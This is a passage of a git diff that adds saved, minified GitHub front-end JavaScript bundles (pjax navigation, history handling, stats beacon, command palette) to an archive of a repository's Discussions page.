x.text(),A=Y(ue,x,i),{contents:$}=A,ne=I(A.url);if(g&&(ne.hash=g,A.url=ne.href),ee&&te&&ee!==te){s(S,"pjax:hardLoad",{reason:"version_mismatch"}),(0,E.b)({pjaxFailureReason:"version_mismatch",requestUrl:i.requestUrl}),U(A.url);return}if(!$){s(S,"pjax:hardLoad",{reason:"missing_response_body"}),(0,E.b)({pjaxFailureReason:"missing_response_body",requestUrl:i.requestUrl}),U(A.url);return}a={id:i.id!=null?i.id:O(),url:A.url,title:A.title,container:T,fragment:i.fragment},(i.push===!0||i.replace===!0)&&(0,f.lO)(a,A.title,A.url);const Z=document.activeElement,de=i.container!=null&&i.container.contains(Z);if(Z instanceof HTMLElement&&de)try{Z.blur()}catch{}A.title&&(document.title=A.title),s(S,"pjax:beforeReplace",{contents:$,state:a,previousState:K}),R(S,$),(0,c.b)(),(0,c.o)();const z=S.querySelector("input[autofocus], textarea[autofocus]");z&&document.activeElement!==z&&z.focus(),A.scripts&&oe(A.scripts),A.stylesheets&&re(A.stylesheets);let G=i.scrollTo;if(g){const D=(0,l.Kt)(document,g);D&&(G=D.getBoundingClientRect().top+window.pageYOffset)}typeof G=="number"&&window.scrollTo(window.pageXOffset,G),s(S,"pjax:success"),s(S,"pjax:complete"),s(S,"pjax:end")}t(M,"pjaxRequest");function U(r){a&&(0,f.lO)(null,"",a.url),window.location.replace(r)}t(U,"locationReplace");let q=!0;const k=window.location.href,_=window.history.state;_&&_.container&&(a=_),"state"in window.history&&(q=!1);function P(r){if((0,m.c)("TURBO"))return;q||h==null||h.abort();const o=a,e=r.state;let n=null;if(e&&e.container){if(q&&k===e.url)return;if(o){if(o.id===e.id)return;n=o.id]*>([\s\S.]*)<\/head>/i),x=r.match(/]*>([\s\S.]*)<\/body>/i);L=w?Array.from((0,p.r)(document,w[0]).childNodes):[],g=x?Array.from((0,p.r)(document,x[0]).childNodes):[]}else L=g=Array.from((0,p.r)(document,r).childNodes);if(g.length===0)return n;const S=X(L,"title",HTMLTitleElement);n.title=S.length>0&&S[S.length-1].textContent||"";let T;if(e.fragment){if(e.fragment==="body")T=g;else{const w=X(g,e.fragment,Element);T=w.length>0?[w[0]]:[]}if(T.length&&(e.fragment==="body"?n.contents=T:n.contents=T.flatMap(w=>Array.from(w.childNodes)),!n.title)){const w=T[0];w instanceof Element&&(n.title=w.getAttribute("title")||w.getAttribute("data-title")||"")}}else y||(n.contents=g);if(n.contents){n.contents=n.contents.filter(function(b){return b instanceof Element?!b.matches("title"):!0});for(const b of n.contents)if(b instanceof Element)for(const K of b.querySelectorAll("title"))K.remove();const w=X(n.contents,"script[src]",HTMLScriptElement);for(const b of w)b.remove();n.scripts=w,n.contents=n.contents.filter(b=>w.indexOf(b)===-1);const x=X(n.contents,"link[rel=stylesheet]",HTMLLinkElement);for(const b of x)b.remove();n.stylesheets=x,n.contents=n.contents.filter(b=>!x.includes(b))}return n.title&&(n.title=n.title.trim()),n}t(Y,"extractContainer");function oe(r){const o=document.querySelectorAll("script[src]");for(const e of r){const{src:n}=e;if(Array.from(o).some(g=>g.src===n))continue;const y=document.createElement("script"),i=e.getAttribute("type");i&&(y.type=i);const L=e.getAttribute("integrity");L&&(y.integrity=L,y.crossOrigin="anonymous"),y.src=n,document.head&&document.head.appendChild(y)}}t(oe,"executeScriptTags");function re(r){const o=document.querySelectorAll("link[rel=stylesheet]");for(const e of r)Array.from(o).some(n=>n.href===e.href)||document.head&&document.head.appendChild(e)}t(re,"injectStyleTags");const B={},F=[],J=[];function ae(r,o){B[r]=o,J.push(r),W(F,0),W(J,u)}t(ae,"cachePush");function ie(r,o,e){let n,y;B[o]=e,r==="forward"?(n=J,y=F):(n=F,y=J),n.push(o);const i=y.pop();i&&delete B[i],W(n,u)}t(ie,"cachePop");function W(r,o){for(;r.length>o;){const e=r.shift();if(e==null)return;delete B[e]}}t(W,"trimCacheStack");function se(){for(const r of document.getElementsByTagName("meta")){const o=r.getAttribute("http-equiv");if(o&&o.toUpperCase()==="X-PJAX-VERSION")return r.content}return null}t(se,"findVersion");function H(r){var o;const e=document.querySelector(`meta[http-equiv="${r}"]`);return(o=e==null?void 0:e.content)!=null?o:null}t(H,"pjaxMeta");function ce(){return{pjax:H("X-PJAX-VERSION"),csp:H("X-PJAX-CSP-VERSION"),css:H("X-PJAX-CSS-VERSION"),js:H("X-PJAX-JS-VERSION")}}t(ce,"findAllVersions");function le(){return a}t(le,"getState"),window.addEventListener("popstate",P)},54293:(C,v,d)=>{d.d(v,{b:()=>m,o:()=>p});var f=d(7739);const c={},l={};(async()=>(await f.x,c[document.location.pathname]=Array.from(document.querySelectorAll("head [data-pjax-transient]")),l[document.location.pathname]=Array.from(document.querySelectorAll("[data-pjax-replace]"))))(),document.addEventListener("pjax:beforeReplace",function(E){const u=E.detail.contents||[],a=E.target;for(let h=0;h{d.d(v,{C:()=>c,x:()=>f});const f=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),c=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},49815:(C,v,d)=>{d.d(v,{$:()=>E,c:()=>m});var f=d(15205);const c=(0,f.Z)(l);function l(){var u,a;return(((a=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:a.content)||"").split(",")}t(l,"enabledFeatures");const m=(0,f.Z)(p);function p(u){return c().indexOf(u)!==-1}t(p,"isEnabled");const E={isFeatureEnabled:m}},61161:(C,v,d)=>{d.d(v,{$z:()=>l,Kt:()=>f,Q:()=>c});function f(m,p=location.hash){return c(m,l(p))}t(f,"findFragmentTarget");function c(m,p){return p===""?null:m.getElementById(p)||m.getElementsByName(p)[0]}t(c,"findElementByFragmentName");function l(m){try{return decodeURIComponent(m.slice(1))}catch{return""}}t(l,"decodeFragmentValue")},6170:(C,v,d)=>{d.d(v,{Mw:()=>q,_C:()=>U,lO:()=>M,qA:()=>s,y0:()=>m});const f=[];let c=0,l;function m(){return l}t(m,"getState");function p(){try{return Math.min(Math.max(0,history.length)||0,9007199254740991)}catch{return 0}}t(p,"safeGetHistory");function E(){const _={_id:new Date().getTime(),...history.state};return a(_),_}t(E,"initializeState");function u(){return p()-1+c}t(u,"position");function a(_){l=_;const P=location.href;f[u()]={url:P,state:l},f.length=p(),window.dispatchEvent(new CustomEvent("statechange",{bubbles:!1,cancelable:!1}))}t(a,"setState");function h(){return new Date().getTime()}t(h,"uniqueId");function s(_,P,O){c=0;const j={_id:h(),..._};history.pushState(j,P,O),a(j)}t(s,"pushState");function M(_,P,O){const j={...m(),..._};history.replaceState(j,P,O),a(j)}t(M,"replaceState");function U(){const _=f[u()-1];if(_)return _.url}t(U,"getBackURL");function q(){const _=f[u()+1];if(_)return _.url}t(q,"getForwardURL"),l=E(),window.addEventListener("popstate",t(function(P){var O,j,I,N,X;const R=P.state;if(!(!R||!R._id&&!((O=R.turbo)==null?void 0:O.restorationIdentifier))){if((j=R.turbo)==null?void 0:j.restorationIdentifier){const V=R.turbo.restorationIdentifier;((X=(N=(I=f[u()-1])==null?void 0:I.state)==null?void 0:N.turbo)==null?void 0:X.restorationIdentifier)===V?c--:c++}else R._id<(m()._id||NaN)?c--:c++;a(R)}},"onPopstate"),!0);let k;window.addEventListener("turbo:visit",_=>{_ instanceof CustomEvent&&(k=_.detail.action)}),window.addEventListener("turbo:load",()=>{k!=="restore"&&(c=0,M(history.state,"",""))}),window.addEventListener("hashchange",t(function(){if(p()>f.length){const P={_id:h()};history.replaceState(P,"",location.href),a(P)}},"onHashchange"),!0)},12981:(C,v,d)=>{d.d(v,{r:()=>f});function f(c,l){const m=c.createElement("template");return m.innerHTML=l,c.importNode(m.content,!0)}t(f,"parseHTML")},97474:(C,v,d)=>{d.d(v,{Z:()=>f});function f(c){var l,m;const p=(m=(l=c.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:m.content;if(!p)return!1;const E=p.replace(/\.$/,"").split(".").slice(-2).join("."),u=c.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return E!==u}t(f,"detectProxySite")},45922:(C,v,d)=>{d.d(v,{b:()=>m});var f=d(97474),c=d(7739);let l=[];function m(h,s=!1){h.timestamp===void 0&&(h.timestamp=new Date().getTime()),h.loggedIn=a(),l.push(h),s?u():E()}t(m,"sendStats");let p=null;async function E(){await c.C,p==null&&(p=window.requestIdleCallback(u))}t(E,"scheduleSendStats");function u(){var h,s;if(p=null,!l.length||(0,f.Z)(document))return;const M=(s=(h=document.head)==null?void 0:h.querySelector('meta[name="browser-stats-url"]'))==null?void 0:s.content;if(!M)return;const U=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(M,U)}catch{}l=[]}t(u,"flushStats");function a(){var h,s;return!!((s=(h=document.head)==null?void 0:h.querySelector('meta[name="user-login"]'))==null?void 0:s.content)}t(a,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_pjax_ts-3331a0ecddca.js.map \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_command-palette_items_help-item_ts-.js b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_command-palette_items_help-item_ts-.js new file mode 100644 index 0000000..4a88798 --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_command-palette_items_help-item_ts-.js @@ -0,0 +1,37 @@ +"use strict";(()=>{var S=Object.defineProperty;var f=(y,v)=>S(y,"name",{value:v,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"],{2846:(y,v,a)=>{a.d(v,{i:()=>s});var d=a(90420),_=a(23207),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends _.b{static build(o,i){const c=new s;return c.providerId=o,c.provider=i,c}connectedCallback(){this.setAttribute("data-targets","command-palette.clientDefinedProviderElements")}},"ClientDefinedProviderElement");l([d.Lj],s.prototype,"providerId",2),s=l([d.Ih],s)},64465:(y,v,a)=>{a.d(v,{Z:()=>T,o:()=>O});var d=a(90420),_=a(2846),m=a(39200),r=a(85678),l=a(80829),s=a(80425),o=a(3447),i=a(72017),c=Object.defineProperty,n=Object.getOwnPropertyDescriptor,t=f((e,h,g,P)=>{for(var I=P>1?void 0:P?n(h,g):h,D=e.length-1,b;D>=0;D--)(b=e[D])&&(I=(P?b(h,g,I):b(I))||I);return P&&I&&c(h,g,I),I},"__decorateClass");const p=f(()=>navigator.platform.match(/Mac/),"isMac"),u=p()?"metaKey":"ctrlKey",E=p()?"Meta":"Control",O=f(e=>e instanceof KeyboardEvent?e[u]:!1,"isPlatformMetaKey"),M=450;let T=f(class extends HTMLElement{constructor(){super(...arguments);this.everActivated=!1,this.activated=!1,this.error=!1,this.query=new l.A("",""),this.setupComplete=!1,this.sessionId="",this.returnTo="",this.userId="",this.activationHotkey="Mod+k,Mod+Alt+k",this.commandModeHotkey="Mod+Shift+k,Control+K"}setup(){this.modes=Array.from(this.querySelectorAll("command-palette-mode")),this.defaultMode=this.querySelector(".js-command-palette-default-mode"),this.commandPaletteInput=this.querySelector("command-palette-input"),this.groups=this.querySelectorAll("command-palette-item-group"),new ResizeObserver(g=>{for(const P of g)this.commandPaletteInput.scopeElement.smallDisplay=P.contentRect.width1?e[e.length-1]:""}get platformActivationHotkey(){return this.platformHotkey(this.activationHotkey)}get platformSecondaryActivationHotkey(){return this.platformHotkey(this.secondaryActivationHotkey)}get platformCommandModeHotkey(){return this.platformHotkey(this.commandModeHotkey)}platformHotkey(e){if(e==="none")return"";let h=e;if(p())h=h.replace(/Mod\+Alt/g,"Alt+Mod");else if(h.includes("Shift")){const g=h.charAt(h.length-1);h+=`,${h.replace(`Shift+${g}`,g.toUpperCase())}`}return h.replace(/Mod/g,E)}onInput(){!this.everActivated||(this.commandPaletteInput.typeahead="",this.setActiveModeElement(),this.setQuery(),this.toggleTips(),this.updateOverlay())}updateOverlay(){const e=this.getMode();this.commandPaletteInput.overlay=e;for(const h of this.groups)h.renderElement(e);if(e&&this.getTextWithoutMode()===""){const h=this.getModeElement().placeholder||"";this.commandPaletteInput.showModePlaceholder(h)}else this.commandPaletteInput.showModePlaceholder("")}itemsUpdated(e){if(!(e instanceof CustomEvent))return;const g=e.detail.items.filter(b=>b.group!==m.O.footerGroupId),P=g.filter(b=>!b.group||!m.O.helpGroupIds.includes(b.group)),I=g.length>P.length,D=P.length===0&&this.activated;P.length>0?this.toggleEmptyState(!1,I):D&&(this.toggleEmptyState(!0,I),this.toggleTips()),this.toggleErrorTips()}loadingStateChanged(e){e instanceof CustomEvent&&(this.commandPaletteInput.loading=e.detail.loading)}pageFetchError(e){e instanceof CustomEvent&&(this.error=!0,this.toggleErrorTips())}selectedItemChanged(e){if(!(e instanceof CustomEvent))return;const h=e.detail.item,g=e.detail.isDefaultSelection;this.updateTypeahead(h,g)}setActiveModeElement(){const e=this.commandPaletteInput.inputValue.substring(0,1),h=this.modes.filter(g=>g.active(this.query.scope,e)).find(g=>g.character()===e);this.activeMode=h||this.defaultMode,this.pageStack.currentMode=this.activeMode.character()}setQuery(){this.query=new l.A(this.getTextWithoutMode().trimStart(),this.getMode(),{scope:this.commandPaletteInput.scope,subjectId:this.pageStack.defaultScopeId,subjectType:this.pageStack.defaultScopeType,returnTo:this.returnTo}),this.pageStack.currentQueryText=this.getTextWithoutMode().trimStart()}getModeElement(){return this.activeMode}getMode(){var e;return(e=this.getModeElement())==null?void 0:e.character()}getTextWithoutMode(){if(!this.commandPaletteInput)return"";const e=this.commandPaletteInput.inputValue,h=this.getMode();return h&&e.startsWith(h)?e.substring(1):e}get selectedItem(){return this.pageStack.currentPage.selectedItem}onSelect(e){this.selectedItem?this.selectedItem.item.select(this):e.preventDefault()}autocomplete(e){(0,i.j)("autocompleted",e);const h=this.commandPaletteInput;e.typeahead!==void 0?h.inputValue=h.overlay+e.typeahead:h.inputValue=h.overlay+e.title}setScope(e){(0,i.j)("scoped");const h=e||this.commandPaletteInput.scope;for(const g of h.tokens){const P=g===h.tokens[h.tokens.length-1],I=new r.j({title:g.value,scopeId:g.id,scopeType:g.type});this.pageStack.push(I,!P)}this.commandPaletteInput.inputValue=""}onDescope(){this.toggleEmptyState(!1,!1),this.pageStack.pop(),this.toggleTips()}onInputClear(){this.pageStack.clear()}onKeydown(e){var h;e.key==="Enter"&&this.selectedItem?((h=this.selectedItem)==null||h.activate(this,e),e.preventDefault(),e.stopPropagation()):e.key==="ArrowDown"?(this.navigateToItem(1),e.preventDefault(),e.stopPropagation()):e.key==="ArrowUp"?(this.navigateToItem(-1),e.preventDefault(),e.stopPropagation()):this.isCopyEvent(e)&&this.selectedItem&&(this.selectedItem.copy(this),e.preventDefault(),e.stopPropagation())}close(e){if(e instanceof KeyboardEvent&&e.key!=="Enter")return;document.querySelector(".command-palette-details-dialog").toggle(!1),e.stopImmediatePropagation(),e.preventDefault()}navigateToItem(e){this.pageStack.navigate(e)}toggleTips(){const e=this.modeTips.filter(g=>g.available(this.query)),h=e[Math.floor(Math.random()*e.length)];for(const g of this.modeTips)g.hidden=h!==g;this.pageStack.hasVisibleTip=!!h,this.pageStack.currentPage.recomputeStyles()}toggleEmptyState(e,h){for(const g of this.emptyStateElements)g.toggle(this.query,e);if(!h&&e){const g=this.serverDefinedProviderElements.find(P=>P.type==="help");g&&this.pageStack.currentPage.fetch([g.provider],{isEmpty:!0})}}toggleErrorTips(){for(const e of this.errorStateTips)e.toggle(this.query,!1,this.error)}updateInputScope(e){e instanceof CustomEvent&&(this.commandPaletteInput.scope=this.pageStack.scope,this.setQuery())}updateTypeahead(e,h=!1){var g,P;this.getTextWithoutMode()===""&&(!e||h)?this.commandPaletteInput.typeahead="":e&&(this.commandPaletteInput.typeahead=(P=(g=e.typeahead)!=null?g:e.title)!=null?P:"")}isCopyEvent(e){return this.commandPaletteInput.textSelected()?!1:p()?e.metaKey&&e.key==="c":e.ctrlKey&&e.key==="c"}setQueryScope(){this.query.scope=this.commandPaletteInput.scope}get providerElements(){return[...this.serverDefinedProviderElements,...this.clientDefinedProviderElements]}get commandsProviderElements(){return this.providerElements.filter(e=>{var h;return(h=e.provider)==null?void 0:h.hasCommands})}clearProviderCaches(){var e;for(const h of this.providerElements)(e=h.provider)==null||e.clearCache()}clearCommandProviderCaches(){var e;for(const h of this.commandsProviderElements)(e=h.provider)==null||e.clearCache()}registerProvider(e,h){const g=this.querySelector(`client-defined-provider[data-provider-id="${e}"]`);g&&g.remove();const P=_.i.build(e,h);this.appendChild(P)}pushPage(e,h=!1){h&&this.pageStack.clear(!1),this.pageStack.push(e),this.resetInput()}get tipElements(){const e=this.querySelectorAll("command-palette-tip");return Array.from(e)}get modeTips(){return this.tipElements.filter(e=>!e.onEmpty&&!e.onError)}get emptyStateElements(){return this.tipElements.filter(e=>e.onEmpty)}get errorStateTips(){return this.tipElements.filter(e=>e.onError)}get placeholder(){return this.getAttribute("placeholder")||""}get defaultOpen(){return this.getAttribute("data-default-open")!==null}clearReturnToParams(){const e=new URLSearchParams(location.search);e.delete("command_palette_open"),e.delete("command_query"),e.delete("command_mode"),e.delete("clear_command_scope"),history.replaceState(null,"",`?${e}${location.hash}`)}displayFlash(e,h,g=5e3){const P=document.querySelector(".js-command-palette-toasts");if(!P)return;const I=P.querySelectorAll(".Toast");for(const C of I)C.hidden=!0;const D=P.querySelector(`.Toast.Toast--${e}`);if(!D)return;const b=D.querySelector(".Toast-content");b.textContent=h,D.hidden=!1,setTimeout(()=>{D.hidden=!0},g)}},"CommandPalette");T.tagName="command-palette",t([d.Lj],T.prototype,"returnTo",2),t([d.Lj],T.prototype,"userId",2),t([d.Lj],T.prototype,"activationHotkey",2),t([d.Lj],T.prototype,"commandModeHotkey",2),t([d.fA],T.prototype,"pageStack",2),t([d.GO],T.prototype,"clientDefinedProviderElements",2),t([d.GO],T.prototype,"serverDefinedProviderElements",2),t([(0,o.D)(250)],T.prototype,"clearCommands",1),T=t([d.Ih],T)},39200:(y,v,a)=>{a.d(v,{O:()=>s});var d=a(90420),_=a(38772),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends HTMLElement{constructor(){super(...arguments);this.groupLimits="",this.defaultPriority=0,this.skipTemplate=!1}connectedCallback(){this.classList.add("py-2","border-top"),this.setAttribute("hidden","true"),this.skipTemplate||this.renderElement(""),this.skipTemplate=!0}prepareForNewItems(){this.list.innerHTML="",this.setAttribute("hidden","true"),this.classList.contains("border-top")||this.classList.add("border-top")}hasItem(o){return this.list.querySelectorAll(`[data-item-id="${o.id}"]`).length>0}renderElement(o){const i=f(()=>this.hasTitle?_.dy` +
+ + ${this.groupTitle} + + + ${o?"":this.groupHint} + +
+
+ `:_.dy` +
+ `,"groupTemplate");(0,_.sY)(i(),this)}push(o){this.removeAttribute("hidden"),this.topGroup&&this.atLimit?o.itemId!==this.firstItem.itemId&&this.replaceTopGroupItem(o):this.list.append(o)}replaceTopGroupItem(o){this.list.replaceChild(o,this.firstItem)}groupLimitForScope(){const o=this.closest("command-palette");if(o){const i=o.query.scope.type;return JSON.parse(this.groupLimits)[i]}}get limit(){const o=this.groupLimitForScope();return this.topGroup?1:this.isModeActive()?50:o||s.defaultGroupLimit}get atLimit(){return this.list.children.length>=this.limit}parsedGroupLimits(){return this.groupLimits?JSON.parse(this.groupLimits):{}}limitForScopeType(o){const c=this.parsedGroupLimits()[o];return this.topGroup?1:this.isModeActive()?s.activeModeLimit:c||c===0?c:s.defaultGroupLimit}atLimitForScopeType(o){return this.list.children.length>=this.limitForScopeType(o)}isModeActive(){const o=this.closest("command-palette");return o?o.getMode():!1}get topGroup(){return this.groupId===s.topGroupId}get hasTitle(){return this.groupId!==s.footerGroupId&&this.groupId!==s.defaultGroupId}get itemNodes(){return this.list.querySelectorAll("command-palette-item")}get firstItem(){return this.itemNodes[0]}get lastItem(){return this.itemNodes[this.itemNodes.length-1]}},"CommandPaletteItemGroupElement");s.defaultGroupLimit=5,s.activeModeLimit=50,s.topGroupId="top",s.defaultGroupId="default",s.footerGroupId="footer",s.helpGroupIds=["modes_help","filters_help"],s.commandGroupIds=["commands"],s.topGroupScoreThreshold=9,l([d.Lj],s.prototype,"groupTitle",2),l([d.Lj],s.prototype,"groupHint",2),l([d.Lj],s.prototype,"groupId",2),l([d.Lj],s.prototype,"groupLimits",2),l([d.Lj],s.prototype,"defaultPriority",2),l([d.Lj],s.prototype,"skipTemplate",2),l([d.fA],s.prototype,"list",2),l([d.fA],s.prototype,"header",2),s=l([d.Ih],s)},47779:(y,v,a)=>{a.d(v,{v:()=>n});var d=a(90420),_=a(38772),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((t,p,u,E)=>{for(var O=E>1?void 0:E?r(p,u):p,M=t.length-1,T;M>=0;M--)(T=t[M])&&(O=(E?T(p,u,O):T(O))||O);return E&&O&&m(p,u,O),O},"__decorateClass");const s=14,o=20,i=20,c=55;let n=f(class extends HTMLElement{constructor(){super(...arguments);this.smallDisplay=!1}connectedCallback(){this.classList.add("d-inline-flex")}get lastToken(){return this.tokens[this.tokens.length-1]}get text(){return this.tokens.map(t=>t.text).join("/")}get id(){return this.lastToken?this.lastToken.id:n.emptyScope.id}get type(){return this.lastToken?this.lastToken.type:n.emptyScope.type}get scope(){return this.hasScope()?{text:this.text,type:this.type,id:this.id,tokens:this.tokens}:n.emptyScope}set scope(t){this.renderTokens(t.tokens)}renderTokens(t){this.clearScope();let p=0,u=t.length;const E=this.smallDisplay?s:i,O=this.smallDisplay?o:c;for(let e=t.length-1;e>=0&&!(p+Math.min(t[e].text.length,E)+5>O);e--)p+=Math.min(t[e].text.length,E)+5,u=e;const M=f(e=>_.dy`${e.map(T)}`,"tokensTemplate"),T=f((e,h)=>{const g=e.text.length>E?`${e.text.substring(0,E-3)}...`:e.text;return _.dy` + + `},"tokenTemplate");(0,_.sY)(M(t),this),this.hidden=!this.hasScope(),u!==0&&(this.placeholder.hidden=!1)}removeToken(){this.lastToken&&(this.lastRemovedToken=this.lastToken,this.lastToken.remove(),this.renderTokens(this.tokens))}hasScope(){return this.tokens.length>0&&this.type&&this.id&&this.text}clearScope(){for(const t of this.tokens)t.remove();this.placeholder.hidden=!0}attributeChangedCallback(t,p,u){!this.isConnected||t==="data-small-display"&&p!==u&&this.renderTokens(this.tokens)}},"CommandPaletteScopeElement");n.emptyScope={type:"",text:"",id:"",tokens:[]},n.observedAttributes=["data-small-display"],l([d.Lj],n.prototype,"smallDisplay",2),l([d.fA],n.prototype,"placeholder",2),l([d.GO],n.prototype,"tokens",2),n=l([d.Ih],n)},76168:(y,v,a)=>{a.d(v,{z:()=>m});function d(r){const l=document.createElement("pre");return l.style.width="1px",l.style.height="1px",l.style.position="fixed",l.style.top="5px",l.textContent=r,l}f(d,"createNode");function _(r){if("clipboard"in navigator)return navigator.clipboard.writeText(r.textContent||"");const l=getSelection();if(l==null)return Promise.reject(new Error);l.removeAllRanges();const s=document.createRange();return s.selectNodeContents(r),l.addRange(s),document.execCommand("copy"),l.removeAllRanges(),Promise.resolve()}f(_,"copyNode");function m(r){if("clipboard"in navigator)return navigator.clipboard.writeText(r);const l=document.body;if(!l)return Promise.reject(new Error);const s=d(r);return l.appendChild(s),_(s),l.removeChild(s),Promise.resolve()}f(m,"copyText")},81072:(y,v,a)=>{a.d(v,{i:()=>s});var d=a(64465),_=a(4220),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends _.g{activate(o,i){i instanceof PointerEvent?super.activate(o,i):i instanceof KeyboardEvent&&this.activateLinkBehavior(o,i,(0,d.o)(i))}get key(){return this.title}},"AccessPolicyItem");s=l([_.O],s)},68313:(y,v,a)=>{a.d(v,{d:()=>s});var d=a(4220),_=a(88513),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends d.g{constructor(o){super(o);this.typeahead=o.title,this.group="commands"}get action(){return this._action}async activate(o){super.activate(o);const i=o.getAttribute("data-commands-path");if(!i)return;const c=o.query.params();c.set("command",this.action.id),o.commandPaletteInput.loading=!0;const n=await(0,_.Q)(i,{method:"POST",body:c});if(o.commandPaletteInput.loading=!1,n.ok){const t=await n.json();this.handleResponse(o,t.action,t.arguments)}else o.displayFlash("error","Failed to run command")}handleResponse(o,i,c){switch(i){case"displayFlash":o.displayFlash(c.type,c.message),o.dismiss();break}}},"CommandItem");s=l([d.O],s)},96753:(y,v,a)=>{a.d(v,{Z:()=>s});var d=a(4220),_=a(76168),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends d.g{constructor(o){super(o);this.priority=11,this.score=1,this.typeahead=o.title,this.group="commands"}get action(){return this._action}async activate(o){super.activate(o);try{await(0,_.z)(this.action.text),o.displayFlash("success",this.action.message),o.dismiss()}catch{o.displayFlash("error","Copy failed")}}},"CopyableItem");s=l([d.O],s)},8665:(y,v,a)=>{a.d(v,{B:()=>l});var d=a(4220),_=Object.defineProperty,m=Object.getOwnPropertyDescriptor,r=f((s,o,i,c)=>{for(var n=c>1?void 0:c?m(o,i):o,t=s.length-1,p;t>=0;t--)(p=s[t])&&(n=(c?p(o,i,n):p(n))||n);return c&&n&&_(o,i,n),n},"__decorateClass");let l=f(class extends d.g{static from(s){return new l({title:s.title,typeahead:"",priority:-10-s.index,score:-10,group:s.group,action:{type:"help",description:"",prefix:s.prefix},persistentHint:s.persistentHint})}constructor(s){super(s);this.persistentHint=s.persistentHint}activate(s,o){s.commandPaletteInput.inputValue=this.action.prefix+s.getTextWithoutMode()}autocomplete(s){s.commandPaletteInput.inputValue=this.action.prefix+s.getTextWithoutMode()}calculateScore(s){return 0}get action(){return this._action}},"HelpItem");l=r([d.O],l)},98810:(y,v,a)=>{a.d(v,{s:()=>s});var d=a(64465),_=a(4220),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends _.g{static from(o){return new s({title:o.title,typeahead:o.title,priority:1,score:1,group:o.group,action:{type:"jump_to",description:"",path:o.path},icon:{type:"octicon",id:o.icon}})}activate(o,i){i instanceof PointerEvent?super.activate(o,i):i instanceof KeyboardEvent&&this.activateLinkBehavior(o,i,(0,d.o)(i))}copy(o){super.copy(o);const i=new URL(this.action.path,window.location.origin);return this.copyToClipboardAndAnnounce(i.toString()),i.toString()}get key(){return`${super.key}/${this.action.path}`}get action(){return this._action}},"JumpToItem");s=l([_.O],s)},28760:(y,v,a)=>{a.d(v,{V:()=>s});var d=a(98810),_=a(4220),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends d.s{},"JumpToOrgItem");s=l([_.O],s)},3991:(y,v,a)=>{a.d(v,{W:()=>s});var d=a(98810),_=a(4220),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends d.s{},"JumpToTeamItem");s=l([_.O],s)},77417:(y,v,a)=>{a.d(v,{U:()=>_});var d=a(33241);class _ extends d.ck{constructor(r,l){super({title:(s=l.title)!=null?s:r.title,subtitle:(o=l.subtitle)!=null?o:r.subtitle,typeahead:(i=l.title)!=null?i:r.title,priority:(c=l.priority)!=null?c:r.priority,group:(n=l.group)!=null?n:r.group,icon:{type:(t=l.iconType)!=null?t:r.iconType,id:(p=l.icon)!=null?p:r.icon},hint:"Run command"});var s,o,i,c,n,t,p;this.command=r}get path(){}copy(r){}activate(r){this.command.run(r),this.command.dismissAfterRun&&r.dismiss()}isApplicable(r){return this.command.isApplicable(r)}select(r){this.command.select?this.command.select(r):r.autocomplete(this)}}f(_,"MainWindowCommandItem")},31411:(y,v,a)=>{a.d(v,{K:()=>o});var 